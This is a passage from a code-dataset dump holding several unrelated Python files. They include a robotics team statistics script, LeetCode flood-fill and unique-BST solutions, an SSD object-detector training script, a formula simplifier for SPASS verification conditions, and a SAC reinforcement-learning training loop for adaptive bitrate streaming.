Byers']]\n\nlist_2222 = [\n\t'Tacoma, Washington',2007,False,\"Pacific Northwest Regional\",'Portland, Oregon','No awards. Boo-hoo...']\n\nlist_3333 = [\n\t'Julesburg, Colorado',2010,False,\"Colorado Regional\",'Denver, Colorado','Judges Award']\n\nlist_5555 = [\n\t'Warren, Michigan',2015,True,['FIM District Center Line Event','FIM District Marysville Event'],\n\t['Center Line, Michigan','Marysville, Michigan'],\"District Event Winner\"]\n\nvalid_input_1 = False #Whether a valid input has been submitted for a team\nvalid_input_2 = False #Whether a valid input has been submitted for a statistic\n\nstatistics_dictionary = {'location':0, 'rookie_year':1, 'competed':2, 'competition_names':3,\n'competition_locations':4, 'season_awards':5}\n\n\nwhile valid_input_1 == False: #Until a valid input has been submitted for a team\n\tteam_selection = str(input(\"What team would you like to view statistics about? \")) #Which team do you want?\n\tif team_selection == '1111' or '1678' or '2222' or '3333' or '5555': #Breaking the loop for a valid input\n\t\tvalid_input_1 = True\nif team_selection == '1111':\n\tteam_selection = list_1111\nif team_selection == '1678':\n\tteam_selection = list_1678\nif team_selection == '2222':\n\tteam_selection = list_2222\nif team_selection == '3333':\n\tteam_selection = list_3333\nif team_selection == '5555':\n\tteam_selection = list_5555\n\nwhile valid_input_2 == False: #Until a valid input has been submitted for a statistic\n\tstatistic_wanted = input(\"Which statistic would you like to find out? \") #Which statistic do you want?\n\tif statistic_wanted == 'location' or 'rookie_year' or 'competed' or 'competition_names' or 'competition_locations' or 'season_awards': #Breaking the loop for a valid input\n\t\tvalid_input_2 = True #Breako el infinito el loopo\n\nprint(team_selection[statistics_dictionary[statistic_wanted]]) #Print the list selected, and the element of said list\n","sub_path":"ch_1_lesson_adam_hutchings.py","file_name":"ch_1_lesson_adam_hutchings.py","file_ext":"py","file_size_in_byte":2898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"126952874","text":"# Leetcode 733. Flood Fill\n\n# Time Complexity : O(m X n) where m X n is the size of the grid\n\n# Space Complexity : O(m X n) where m X n is the size of the grid\n\n# Did this code successfully run on Leetcode : Yes\n# Any problem you faced while coding this : No\n\n# Approach:\n# DFS:: Store the present color for future comparision and start dfs on givenn target. In every dfs\n# iteration change the color to target and call dfs recursively on its neighbours. If the color is not\n# same as the original color then return else return the image at the end of dfs.\n# BFS :: store the color for comparision. and update the color to target. Start with the first cordinates in queue\n# and Pop the left from queue and if the color of the negihbours is same as original color, then update to\n# target color and them to queue. Once the queue is empty return\n\n# Your code here along with comments explaining your approach\n\n# DFS\nfrom collections import deque\nclass Solution:\n def floodFill(self, image: List[List[int]], sr: int, sc: int, newColor: int) -> List[List[int]]:\n # base\n # If image length is 0 or image is null or if the present color == target then return image\n if not image or len(image) == 0 or image[sr][sc] == newColor:\n return image\n # Store the old color for comparision\n color = image[sr][sc]\n self.dfs(image, sr, sc, newColor, color)\n return image\n\n def dfs(self, image, sr, sc, newColor, color):\n # Base or exit\n # If the matrix coordinates are out of bounds or if image color != original color\n if len(image) <= sr or sr < 0 or len(image[0]) <= sc or sc < 0 or image[sr][sc] != color:\n return\n # Logic\n dirs = {(0, 1), (0, -1), (1, 0), (-1, 0)}\n # Update the color with target and call dfs recursively on its neighbours\n image[sr][sc] = newColor\n for direc in dirs:\n r = direc[0] + sr\n c = direc[1] + sc\n self.dfs(image, r, c, newColor, color)\n\n\n# BFS\nclass Solution:\n def floodFill(self, image: List[List[int]], sr: int, sc: int, newColor: int) -> List[List[int]]:\n # base\n # If image length is 0 or image is null or if the present color == target then return image\n if not image or len(image) == 0 or image[sr][sc] == newColor:\n return image\n # Store the old color for comparision\n color = image[sr][sc]\n # Update the color to target before adding it to queue\n image[sr][sc] = newColor\n q = deque()\n # Add the original cordinates to queue\n q.append((sr, sc))\n\n dirs = {(0, 1), (0, -1), (1, 0), (-1, 0)}\n # While q is not empty\n while q:\n # Remove. from q\n i, j = q.popleft()\n\n for direc in dirs:\n r = direc[0] + i\n c = direc[1] + j\n # if the neighbours are of original color and in the matrix bounds update color\n # and add them to the queue\n if len(image) > r >= 0 and len(image[0]) > c >= 0 and image[r][c] == color:\n image[r][c] = newColor\n q.append((r, c))\n # When the queue is empty return the image\n return image\n","sub_path":"flood_Fill.py","file_name":"flood_Fill.py","file_ext":"py","file_size_in_byte":3262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"343800296","text":"\"\"\"\nhttps://leetcode.com/submissions/detail/366544583/\n\nGiven n, how many structurally unique BST's (binary search trees) that store values 1 ... n?\r\n\r\nExample:\r\n\r\n\r\nInput: 3\r\nOutput: 5\r\nExplanation:\r\nGiven n = 3, there are a total of 5 unique BST's:\r\n\r\n 1 3 3 2 1\r\n \\ / / / \\ \\\r\n 3 2 1 1 3 2\r\n / / \\ \\\r\n 2 1 2 3\r\n\r\n\"\"\"\n\n\nclass Solution:\n def numTrees(self, n: int) -> int:\n from functools import lru_cache\n \n @lru_cache\n def count(num_list):\n if len(num_list) <= 1:\n return 1\n if len(num_list) == 2:\n return 2\n tree_count = 0\n for index, root_node in enumerate(num_list):\n tree_count += count(num_list[: index]) * count(num_list[index + 1:])\n return tree_count\n full_num_list = tuple(range(1, n + 1))\n if n <= 2:\n return count(full_num_list)\n tree_count = count(full_num_list)\n return tree_count \n ","sub_path":"unique-binary-search-trees_1.py","file_name":"unique-binary-search-trees_1.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"304064976","text":"\"\"\"\nFile: hello.py\n------------------\nPrompts user for their name and then says hello!\n\"\"\"\n\n\ndef main():\n \"\"\"\n Input your name\n \"\"\"\n name = input(\"What is your name? \")\n print(\"Hello \" + name + \"!\")\n\n\n# This provided line is required at the end of a Python file\n# to call the main() function.\nif __name__ == '__main__':\n main()\n","sub_path":"Assignments/2. Khansole Academy/hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"314155024","text":"import os\nimport time\nimport torch\nimport shutil\nimport logging\nimport datetime\n\nimport numpy as np\nimport os.path as osp\n\nfrom argparse import ArgumentParser\nfrom torch.optim.lr_scheduler import MultiStepLR\nfrom torch.nn.parallel import DistributedDataParallel as DDP\n\nfrom base_config import cfg, cfg_from_file\nfrom utils.data_loaders import get_dali_dataloader\nfrom utils.loss import SSDLoss\nfrom utils.ssd import get_ssd\nfrom utils.utils import tencent_trick\nfrom utils.training import load_checkpoint, train_loop, validate\n\n\ndef create_logger(exp_path):\n logger = logging.getLogger()\n handler = logging.FileHandler(osp.join(exp_path, cfg.TRAIN.LOGGING_FILE))\n formatter = logging.Formatter('%(message)s')\n handler.setFormatter(formatter)\n logger.addHandler(handler)\n logger.addHandler(logging.StreamHandler())\n logger.setLevel(logging.INFO)\n\n\ndef make_exp_dirs(timestamp, override=False):\n if cfg.TRAIN.EXP_PATH == '':\n raise ValueError(\"You have to set experiment path.\")\n exp_path = osp.join(cfg.TRAIN.EXP_PATH, timestamp)\n if osp.exists(exp_path) and override:\n shutil.rmtree(exp_path)\n elif osp.exists(exp_path) and not override:\n raise OSError('Folder {} already exists.'.format(exp_path))\n\n os.makedirs(exp_path)\n\n snapshot_path = osp.join(cfg.TRAIN.EXP_PATH, timestamp, cfg.TRAIN.SNAPSHOT_PATH)\n config_path = osp.join(osp.join(cfg.TRAIN.EXP_PATH, timestamp, cfg.TRAIN.CONFIG_PATH))\n validation_path = osp.join(osp.join(cfg.TRAIN.EXP_PATH, timestamp, cfg.TRAIN.VALIDATION_RESULTS_PATH))\n os.makedirs(snapshot_path)\n os.makedirs(config_path)\n os.makedirs(validation_path)\n\n return exp_path, snapshot_path, config_path, validation_path\n\n\ndef copy_config(config_path):\n shutil.copyfile('base_config.py', osp.join(config_path, 'base_config.py'))\n shutil.copyfile('config.yml', osp.join(config_path, 'config.yml'))\n\n\ndef train(gpu, train_loop_func, snapshot_path, cfg):\n distributed = False\n if 'WORLD_SIZE' in os.environ:\n distributed = int(os.environ['WORLD_SIZE']) > 1\n if distributed:\n torch.cuda.set_device(gpu)\n torch.distributed.init_process_group(backend='nccl', init_method='env://')\n num_gpus = torch.distributed.get_world_size()\n else:\n num_gpus = 1\n\n if cfg.TRAIN.SEED is None:\n cfg.TRAIN.SEED = np.random.randint(1e4)\n if distributed:\n cfg.TRAIN.SEED = (cfg.TRAIN.SEED + torch.distributed.get_rank()) % 2 ** 32\n torch.manual_seed(cfg.TRAIN.SEED)\n np.random.seed(seed=cfg.TRAIN.SEED)\n\n train_dataset_path = ()\n val_dataset_path = {}\n\n for dataset in cfg.TRAIN.DATASETS:\n if dataset.TYPE == 'TRAIN':\n train_dataset_path = (dataset.IMG_BASE_PATH, dataset.MARKUP_PATH)\n elif dataset.TYPE == 'VAL':\n val_dataset_path = (dataset.IMG_BASE_PATH, dataset.MARKUP_PATH)\n else:\n raise ValueError('Invalid dataset type: {}'.format(dataset.TYPE))\n train_loader, epoch_size = get_dali_dataloader(cfg, train_dataset_path, gpu, num_gpus,\n local_seed=cfg.TRAIN.SEED - 2 ** 31)\n\n model = get_ssd(cfg.TRAIN.NET_NAME, trans_filters=cfg.TRAIN.FILTERS,\n backbone_feature_filters=cfg.TRAIN.BACKBONE_CHANNELS,\n pretrained_backbone=cfg.TRAIN.PRETRAINED_BASE)\n model = model.cuda()\n loss = SSDLoss().cuda()\n if cfg.TRAIN.OPTIMIZER.lower() == 'sgd':\n optimizer = torch.optim.SGD(tencent_trick(model), cfg.TRAIN.LR, momentum=cfg.TRAIN.MOMENTUM,\n weight_decay=cfg.TRAIN.WD)\n elif cfg.TRAIN.OPTIMIZER.lower() == 'adam':\n optimizer = torch.optim.Adam(tencent_trick(model), cfg.TRAIN.LR, weight_decay=cfg.TRAIN.WD)\n else:\n raise NotImplementedError\n scheduler = MultiStepLR(optimizer=optimizer, milestones=cfg.TRAIN.LR_DECAY_EPOCH, gamma=cfg.TRAIN.LR_DECAY)\n if distributed:\n model = DDP(model, device_ids=[gpu], output_device=gpu)\n\n start_epoch = 0\n # iteration = 0\n if cfg.TRAIN.RESUME != '':\n if osp.isfile(cfg.TRAIN.RESUME):\n load_checkpoint(model.module, cfg.TRAIN.RESUME)\n checkpoint = torch.load(cfg.TRAIN.RESUME,\n map_location=lambda storage, loc: storage.cuda(torch.cuda.current_device()))\n start_epoch = checkpoint['epoch']\n # iteration = checkpoint['iteration']\n scheduler.load_state_dict(checkpoint['scheduler'])\n optimizer.load_state_dict(checkpoint['optimizer'])\n else:\n print('Provided checkpoint is not path to a file')\n return\n\n total_time = 0\n num_epochs = len(range(start_epoch, cfg.TRAIN.NUM_EPOCH))\n for epoch in range(start_epoch, cfg.TRAIN.NUM_EPOCH):\n start_epoch_time = time.time()\n train_loop_func(gpu, model, loss, epoch, epoch_size, optimizer, train_loader,\n cfg, logging)\n end_epoch_time = time.time() - start_epoch_time\n total_time += end_epoch_time\n scheduler.step()\n if gpu == 0:\n throughput = int(epoch_size / end_epoch_time)\n logging.info(\n '[Epoch {}] speed: {} samples/sec\\ttime cost: {:.6f}'.format(epoch, throughput, end_epoch_time))\n\n if (epoch + 1) % cfg.TRAIN.SNAPSHOT_FREQUENCY == 0 and gpu == 0:\n print(\"saving model...\")\n obj = {'epoch': epoch + 1,\n 'optimizer': optimizer.state_dict(),\n 'scheduler': scheduler.state_dict(),\n 'model': model.module.state_dict()}\n save_path = os.path.join(snapshot_path, f'epoch_{epoch}.pt')\n torch.save(obj, save_path)\n\n if (epoch + 1) % cfg.TRAIN.VAL_FREQUENCY == 0 and gpu == 0:\n result = validate(gpu, model, val_dataset_path, epoch, validation_path, cfg)\n logging.info('[Epoch {}] Validation result {}'.format(epoch, result))\n train_loader.reset()\n if gpu == 0:\n logging.info(\n 'Average speed: {} samples/sec\\tTotal time cost: {:.6f}'.format(num_epochs * epoch_size / total_time,\n total_time))\n\n\nif __name__ == '__main__':\n parser = ArgumentParser(description=\"Train Detector\")\n parser.add_argument('--local_rank', default=os.getenv('LOCAL_RANK', 0), type=int,\n help='Used for multi-process training. Can either be manually set ' +\n 'or automatically set by using \\'python -m multiproc\\'.')\n args = parser.parse_args()\n args.local_rank = int(os.environ.get('LOCAL_RANK', args.local_rank))\n\n cfg_from_file('config.yml')\n if args.local_rank == 0:\n timestamp = datetime.datetime.now().strftime('%Y-%m-%d--%H-%M-%S')\n exp_path, snapshot_path, config_path, validation_path = make_exp_dirs(timestamp, override=True)\n copy_config(config_path)\n create_logger(exp_path)\n else:\n exp_path, snapshot_path, config_path, validation_path = [None] * 4\n\n if cfg.TRAIN.SEED is None:\n cfg.TRAIN.SEED = np.random.randint(1e4)\n\n train(args.local_rank, train_loop, snapshot_path, cfg)\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":7275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"134566389","text":"# orginal version Evan Kiefl; modifications Evan Thomas and R Kiefl\n# adapted and modified by Felix Klose to quickly edit .csv data tables for PHYS219 (2019/20 Term 1)\n#\n############################################################\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n#name of input file\nfname = '10Kcyclech1.csv'\n\ndata = np.loadtxt(fname, delimiter=',', comments='#',usecols=(0,1))\n\nxraw = data[:,0]\nyraw = data[:,1]\n\n# define packing factor npac\n# would recommend to leave at 1 when trimming data tables\nnpac = 1\n\ndef pack(A,p): # A is an array, and p is the packing factor\n B = np.zeros(len(A)//p)\n i = 1\n while i-1b\ndef greater_eq(a,b):\n\treturn a>= b\ndef equal(a,b):\n\treturn a==b\n\ndef _aux_pc_rem(thread,line,to_iter,compare_fun):\n\ttrue_subs = []\n\tfalse_subs = []\n\tfor [regex,val] in to_iter:\n\t\tfor exp in re.findall(regex,line):\n\t\t\tnum = re.findall(\"\\d+\",exp)[0]\n\t\t\tif int(num) == 0:\n\t\t\t\tnum = re.findall(\"\\d+\",exp)[1]\n\t\t\tif compare_fun(val,int(num)):\n\t\t\t\ttrue_subs.append(exp)\n\t\t\telse:\n\t\t\t\tfalse_subs.append(exp)\n\n\tfor old in true_subs:\n\t\tline = line.replace(old,\"true\")\n\tfor old in false_subs:\n\t\tline = line.replace(old,\"false\")\n\n\treturn line\n\ndef remove_pc(thread,line,pre,post):\n\n\t# # # equal matches\n\teq_1 = \"equal.pc_\"+thread+\",\\d+.\"\n\teq_2 = \"equal.\\d+,pc_\"+thread+\".\"\n\teq_prime_1 = \"equal.pc_prime_\"+thread+\",\\d*.\"\n\teq_prime_2 = \"equal.\\d*,pc_prime_\"+thread+\".\"\n\tto_iter = [[eq_1,pre],[eq_2,pre],[eq_prime_1,post],[eq_prime_2,post]]\n\tline = _aux_pc_rem(thread, line, to_iter, equal)\n\n\n\t# # # greater or equal\n\tge_1 = \t\"not\\(ls\\(pc_\"+thread+\",\\d+\\)\\)\"\n\tge_prime_1 = \"not\\(ls\\(pc_prime_\"+thread+\",\\d+\\)\\)\"\n\tto_iter = [[ge_1,pre],[ge_prime_1,post]]\n\tline = _aux_pc_rem(thread, line, to_iter, greater_eq)\n\n\t# # # not greater or equal\n\tge_2 = \"not\\(ls\\(\\d+,pc_\"+thread+\"\\)\\)\"\n\tge_prime_2 = \"not\\(ls\\(\\d+,pc_prime_\"+thread+\"\\)\\)\"\n\tto_iter = [[ge_2,pre],[ge_prime_2,post]]\n\tline = _aux_pc_rem(thread, line, to_iter, less_eq)\n\n\n\t# # # greater\n\tle_1 = \t\"ls\\(pc_\"+thread+\",\\d+\\)\"\n\tle_prime_1 = \"ls\\(pc_prime_\"+thread+\",\\d+\\)\"\n\tto_iter = [[le_1,pre],[le_prime_1,post]]\n\tline = _aux_pc_rem(thread, line, to_iter, less)\n\t\n\t# # # not greater\n\tle_2 = \"ls\\(\\d+,pc_\"+thread+\"\\)\"\n\tle_prime_2 = \"ls\\(\\d+,pc_prime_\"+thread+\"\\)\"\n\tto_iter = [[le_2,pre],[le_prime_2,post]]\n\tline = _aux_pc_rem(thread, line, to_iter, greater)\n\n\n\treturn line\n\n\ndef get_pcs(rho):\n\n\tpres = re.findall(\"equal\\(pc_(\\w+),(\\d+)\\)\",rho)\n\tpost = re.findall(\"equal\\(pc_prime_\\w+,(\\d+)\\)\",rho)\n\tif pres == []:\n\t\t[ret_1,ret_2] = [\"\",-1]\n\telse:\n\t\t[ret_1,ret_2] = [pres[0][0],int(pres[0][1])]\n\tif post == []:\n\t\tret_3 = -1\n\telse:\n\t\tret_3 = int(post[0])\n\treturn [ret_1,ret_2,ret_3]\n\n\ndef remove_me(line):\n\tsubs = re.findall(\"equal\\(me,\\w+\\)\",line)\n\tprime = re.findall(\"equal.me_prime,me.\",line)\n\tif subs != []:\n\t\tline = line.replace(subs[0],\"true\")\n\tif prime != []:\n\t\tline = line.replace(prime[0],\"true\")\n\treturn line\n\ndef _get__closing_par(ind,line):\n\tbal = 0\n\tfound = 0\n\tfor i in xrange(ind,len(line)-1):\n\t\tif line[i] == \"(\":\n\t\t\tfound = 1\n\t\t\tbal += 1\n\t\telif line[i] == \")\":\n\t\t\tbal -= 1\n\n\t\tif bal == 0 and found == 1:\n\t\t\treturn i\n\n\ndef _get__open_par(ind,line):\n\tbal = -1\n\tfound = 0\n\tfor i in xrange(ind+1,0,-1):\n\t\tif line[i] == \"(\":\n\t\t\tbal += 1\n\t\telif line[i] == \")\":\n\t\t\tbal -= 1\n\n\t\tif bal == 0:\n\t\t\treturn i\n\treturn -1\n\ndef remove_true_implies(line):\n\n\tsubs = re.findall(\"implies\\(true,\",line)\n\tchanged = (False if subs == [] else True)\n\n\tfor old in subs:\n\t\tind = line.find(old)\n\t\tind_closing_par = _get__closing_par(ind,line)\n\t\tline = line[:ind_closing_par] + line[ind_closing_par+1:]\n\t\tline = line.replace(old,\"\",1)\n\n\treturn [changed,line]\n\n\n\n\ndef _serch_and_replace(found,new,line):\n\ttoret =\"\"\n\tsubs = re.findall(found,line)\n\tchanged = True\n\tif subs == []:\n\t\tchanged = False\n\tfor old in subs:\n\t\tline = line.replace(old,new)\n\treturn [changed,line]\n\ndef clean_expr(line):\n\tpairs_to_subs = [[\"and\\(true,true\\)\",\"true\"],\n\t\t\t[\"and\\(true,false\\)\",\"false\"],\n\t\t\t[\"and\\(false,false\\)\",\"false\"],\n\t\t\t[\"and\\(false,true\\)\",\"false\"]\n\t\t\t,[\"implies\\(false,in\\(\\w+\\s*,\\s*\\w+\\s*\\)\\s*\\)\",\"true\"]\n\t\t\t,[\"or\\(true,false\\)\",\"true\"]\n\t\t\t,[\"or\\(false,true\\)\",\"true\"]\n\t\t\t,[\"or\\(true,true\\)\",\"true\"]\n\t\t\t,[\"or\\(false,false\\)\",\"false\"]\n\t\t\t,[\"not\\(true\\)\",\"false\"]\n\t\t\t,[\"not\\(false\\)\",\"true\"]\n\t\t\t]\n\tchanged = False\n\tfor s in pairs_to_subs:\n\t\t[aux_ch,line] = _serch_and_replace(s[0],s[1],line)\n\n\t\tchanged = changed or aux_ch\n\n\treturn [changed,line]\n\ndef remove_false_implies(line):\n\tsubs = re.findall(\"implies\\(false,\",line)\n\n\tchanged = (False if subs == [] else True)\n\n\tfor old in subs:\n\t\tind = line.find(old)\n\t\tind_closing_par = _get__closing_par(ind,line)\n\t\tline = line[:ind]+\"true\"+line[ind_closing_par+1:]\n\t\n\treturn [changed,line]\n\ndef remove_and_true(line):\n\tsubs = re.findall(\",true\\)\", line)\n\taux_ch = False\n\tfor old in subs:\n\t\tind = line.find(old)\n\t\tind_open_par = _get__open_par(ind,line)\n\t\tif \"and\" == line[ind_open_par-3:ind_open_par]:\n\t\t\taux_ch = True\n\t\t\ta = ind + len(\",true)\")\n\t\t\tline = line[0:ind_open_par-3] + line[ind_open_par+1 : ind] + line[a:]\n\n\tsubs = re.findall(\"and\\(true,\", line)\n\tchanged = (False if subs == [] else True)\n\tfor old in subs:\n\t\tind=line.find(old)\n\t\tind_closing_par = _get__closing_par(ind, line)\n\t\tline = line[0:ind]+line[ind+len(\"and(true,\"):ind_closing_par]+line[ind_closing_par+1:]\n\n\treturn [changed or aux_ch ,line]\n\n\n\ndef resolution(line):\n\t[changed,line] = clean_expr(line)\n\t\n\t[aux,line] = remove_true_implies(line)\n\tchanged = changed or aux\n\t\n\t[aux,line] = remove_false_implies(line)\n\tchanged = changed or aux\n\t\n\t[aux,line] = remove_and_true(line)\n\tchanged = changed or aux\n\n\tif changed:\n\t\tline = resolution(line)\n\n\treturn line\n\ndef remove_prime(line):\n\taux = \"\"\n\tfor i in xrange(0,len(line)):\n\t\tch = line[i]\n\t\tif ch == \"'\":\n\t\t\tcontinue\n\t\taux += ch\n\treturn aux\n\n\n############# ############################ ############################ ############################ ############################ ############################ ############################ ############################ ###############\n############# ############################ ############################ ############################ ############################ ############################ ############################ ############################ ###############\n\ndef remove_freshaddr(line):\n\tif \"freshaddr\" in line:\n\t\treturn \"and(equal(insert_aux_prime_i,malloc(insert_e_i)))\"\n\telse:\n\t\treturn line\n\n\n############# ############################ ############################ ############################ ############################ ############################ ############################ ############################ ###############\n############# ############################ ############################ ############################ ############################ ############################ ############################ ############################ ###############\n\ndef clean_all(thread,line,pre_pc,post_pc):\n\tline = remove_pc(thread,line,pre_pc,post_pc)\n\tline = remove_me(line)\n\tline = resolution(line)\n\treturn line\n\n# =============================================================================\n# \t\t\t\t\tArgument Parser:\n# =============================================================================\n\ndesc = \"Given a verification condition and a transition, it returns the simplified formula using resolution.\"\nparser = argparse.ArgumentParser(description=desc)\nparser.add_argument(\"inputFile\",type=str,help=\"File in which the vc to be precessed is.\")\nparser.add_argument(\"rho\",type=str,help=\"Transition of the verification condition.\")\nparser.add_argument(\"normalOutput\",type=str,help=\"File in which the verification transition processed can be found\")\nparser.add_argument(\"completionOutput\",type=str,help=\"File in which the SPASS formula that proves I did nothing wrong is\")\nparser.add_argument(\"-o\",\"--others\",type=str,help=\"Split into different files\")\nparser.add_argument(\"-i\",\"--initial\",type=int,help=\"The pc in the pre-state\")\nparser.add_argument(\"-p\",\"--prime\",type=int,help=\"The pc in the post-state\")\nparser.add_argument(\"-t\",\"--thread\",type=str,help=\"Thread to be reduced with the pc\")\n\nargs = parser.parse_args()\n\n\ninputFile = open(args.inputFile,\"r\")\nrho = args.rho\nnormalOutput = open(args.normalOutput,\"w\")\ncompletionOutput = open(args.completionOutput,\"w\")\n\n[thread,pre_pc,post_pc] = get_pcs(rho)\n\n# Important to overwrite get_pcs values, because if not, the pcs in transition will be taken.\nif args.initial != None:\n\tpre_pc = args.initial\nif args.prime != None:\n\tpost_pc = args.prime\nif args.thread != None:\n\tthread = args.thread\n\n\nglobal_write = \"formula(\"\nto_write_aux = \"implies(\\n\\t\\tand(\"\ngoal = 0\n#print thread,pre_pc,post_pc\nfor line in inputFile.readlines():\n#print \"pre_xyz : \"+line\n\tline=remove_pc(thread,line,pre_pc,post_pc)\n#print \"post_xyz : \"+line\n\taux = \"\"\n\tif len(line) < 3:\n\t\tcontinue\n\n\tif \"Goal\" in line:\n\t\tgoal = 1\n\t\tcontinue\n\n\tif \":\" in line and goal == 0:\n\t\tcontinue\n\n\t# Cleaning:\n\taux = remove_prime(line)\n\taux = remove_freshaddr(aux)\n\tif goal == 1:\n\n\t\tto_write_aux = to_write_aux[0:-1] + \"\\n\\n\\t % Phi'\\n),\"+aux+\")\"\n\t\tglobal_write += to_write_aux + \").\"\n\t\tgoal = 0\n\t\tbreak\n\telse:\n\t\tto_write_aux += aux +\"\\n% tau or phi or supp\\n\"+ \",\"\n\n\nline_mod_complete = clean_all(thread,global_write,pre_pc,post_pc)\nnormalOutput.write(line_mod_complete)\n\n\n\n# # # # # # # # # # # Weird option:\n\nline_mod_incomplete = clean_all(thread,to_write_aux,pre_pc,post_pc)\ncompletionOutput.write(\"formula(implies(\" + line_mod_complete[len(\"(formula\"):-2] + \",\" + remove_me(to_write_aux) +\")).\")\n\nnormalOutput.close()\ncompletionOutput.close()\n\n#ch = args.normalOutput.find(\"/\")+1\n#new_dir = args.normalOutput[0:ch]+str(pre_pc)\n#if not os.path.exists(new_dir):\n#\tos.mkdir(new_dir)\n#for i in range(0,55):\n#\tnewf = new_dir + \"/\"+\"me_\"+str(i)+\"_other_\"+args.normalOutput[ch+len(\"S-\"):]\n#\tnormalOutput = open(newf,\"w\")\n#\tif thread == \"i\":\n#\t\tt = \"j\"\n#\telse:\n#\t\tt = \"i\"\n#\tnormalOutput.write(\"formula(\"+clean_all(t,remove_me(thread,to_write_aux),i,i)+\").\")\n#\tnormalOutput.close()\t\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"Param Inv/Linked List/gandalf_the_white.py","file_name":"gandalf_the_white.py","file_ext":"py","file_size_in_byte":9445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"567790910","text":"import multiprocessing as mp\nfrom os import name\nimport numpy as np\nimport logging\nimport os\nimport sys\nfrom abr import ABREnv\n# import ppo2 as network\nimport tensorflow as tf\nfrom sac import Network\nimport ReplayBuffer\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '3'\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n\nPOLYAK = 0.995\nS_DIM = [6, 8]\nA_DIM = 6\nACTOR_LR_RATE =1e-4\nCRITIC_LR_RATE = 1e-3\nNUM_AGENTS = 6\nTRAIN_SEQ_LEN = 300 # take as a train batch\nTRAIN_EPOCH = 1000000\nMODEL_SAVE_INTERVAL = 100\nRANDOM_SEED = 42\nRAND_RANGE = 10000\nSUMMARY_DIR = './results'\nMODEL_DIR = './models'\nTRAIN_TRACES = './cooked_traces/'\nTEST_LOG_FOLDER = './test_results/'\nLOG_FILE = './results/log'\nPPO_TRAINING_EPO = 5\nSAMPLE_SZIE = 1024\n# create result directory\nif not os.path.exists(SUMMARY_DIR):\n os.makedirs(SUMMARY_DIR)\n\nNN_MODEL = None \n\ndef get_vars(scope):\n return [x for x in tf.global_variables() if scope in x.name]\n\n\ndef testing(epoch, nn_model, log_file):\n # clean up the test results folder\n os.system('rm -r ' + TEST_LOG_FOLDER)\n #os.system('mkdir ' + TEST_LOG_FOLDER)\n\n if not os.path.exists(TEST_LOG_FOLDER):\n os.makedirs(TEST_LOG_FOLDER)\n # run test script\n os.system('python rl_test_sac.py ' + nn_model)\n\n # append test performance to the log\n rewards, entropies = [], []\n test_log_files = os.listdir(TEST_LOG_FOLDER)\n for test_log_file in test_log_files:\n reward, entropy = [], []\n with open(TEST_LOG_FOLDER + test_log_file, 'rb') as f:\n for line in f:\n parse = line.split()\n try:\n entropy.append(float(parse[-2]))\n reward.append(float(parse[-1]))\n except IndexError:\n break\n rewards.append(np.mean(reward[1:]))\n entropies.append(np.mean(entropy[1:]))\n\n rewards = np.array(rewards)\n\n rewards_min = np.min(rewards)\n rewards_5per = np.percentile(rewards, 5)\n rewards_mean = np.mean(rewards)\n rewards_median = np.percentile(rewards, 50)\n rewards_95per = np.percentile(rewards, 95)\n rewards_max = np.max(rewards)\n\n log_file.write(str(epoch) + '\\t' +\n str(rewards_min) + '\\t' +\n str(rewards_5per) + '\\t' +\n str(rewards_mean) + '\\t' +\n str(rewards_median) + '\\t' +\n str(rewards_95per) + '\\t' +\n str(rewards_max) + '\\n')\n log_file.flush()\n\n return rewards_mean, np.mean(entropies)\n\ndef central_agent(net_params_queues, exp_queues):\n replay_buffer = ReplayBuffer.ReplayBuffer(obs_dim=S_DIM, act_dim=A_DIM, size=100000)\n assert len(net_params_queues) == NUM_AGENTS\n assert len(exp_queues) == NUM_AGENTS\n tf_config=tf.ConfigProto(intra_op_parallelism_threads=5,\n inter_op_parallelism_threads=5)\n with tf.Session(config = tf_config) as sess, open(LOG_FILE + '_test.txt', 'w') as test_log_file:\n summary_ops, summary_vars = build_summaries()\n\n # actor = network.Network(sess,\n # state_dim=S_DIM, action_dim=A_DIM,\n # learning_rate=ACTOR_LR_RATE)\n\n target_net = Network(sess, state_dim=S_DIM, action_dim=A_DIM, learning_rate=ACTOR_LR_RATE, name='target')\n eval_net = Network(sess, state_dim=S_DIM, action_dim=A_DIM, learning_rate=ACTOR_LR_RATE, name='eval')\n\n sess.run(tf.global_variables_initializer())\n writer = tf.summary.FileWriter(SUMMARY_DIR, sess.graph) # training monitor\n saver = tf.train.Saver(max_to_keep=10) # save neural net parameters\n\n # restore neural net parameters\n # nn_model = NN_MODEL\n # if nn_model is not None: # nn_model is the path to file\n # saver.restore(sess, nn_model)\n # print(\"Model restored.\")\n\n # while True: # assemble experiences from agents, compute the gradients\n for epoch in range(1, TRAIN_EPOCH):\n if epoch % 10 == 0:\n print(epoch, replay_buffer.size)\n # synchronize the network parameters of work agent\n network_params = eval_net.get_network_params()\n # print(network_params[0].keys())\n for i in range(NUM_AGENTS):\n net_params_queues[i].put(network_params)\n\n \n for i in range(NUM_AGENTS):\n s_batch, a_batch, r_batch, done_batch, entropy_batch = exp_queues[i].get()\n for s, a, r, s_, done in zip(s_batch[:-1], a_batch, r_batch, s_batch[1:], done_batch):\n replay_buffer.store(s, a, r, s_, done)\n \n sample_data = replay_buffer.sample_batch(SAMPLE_SZIE)\n \n '''Training logic'''\n\n obs, a, r, obs2, done = sample_data['obs1'], sample_data['acts'], sample_data['rews'], sample_data['obs2'], sample_data['done']\n\n eval_entropy = eval_net.get_entropy(obs2)\n\n \n\n target_q = target_net.compute_v(obs2, r, done, eval_entropy)\n # print(target_q)\n pi_loss = eval_net.train(obs, a, target_q, epoch)\n\n # print(q_loss)\n new_params = eval_net.get_network_params()\n old_params = 